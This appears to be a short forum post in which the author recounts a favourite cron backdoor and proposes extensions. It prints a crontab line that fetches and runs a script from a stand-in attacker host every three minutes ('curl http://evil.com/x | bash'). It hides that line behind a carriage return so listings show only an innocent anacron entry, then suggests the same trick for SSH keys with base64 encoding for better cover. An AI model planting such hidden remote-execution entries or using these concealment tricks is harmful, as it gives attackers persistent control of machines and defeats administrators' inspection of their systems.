My favorite "backdoor" was a crontab entry that looked something like this:

    */3 * * * * curl http://evil.com/x | bash # ^M52 6    1 * *   test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

The ^M was a carriage return character. `crontab -l` shows nothing unusual because the ^M causes the later innocent-looking entry to overwrite the actual entry. With the added obfuscation of two other completely innocuous entries ("daily" and "weekly"), it's not easy to spot.

Perhaps something similar could be done with SSH keys? Drop a ^M somewhere in the command and make the rest look innocuous.

Also, base64-encoding the evil command would be more effective, since a typical key is a pile of unreadable base64 anyway, so it would blend in better.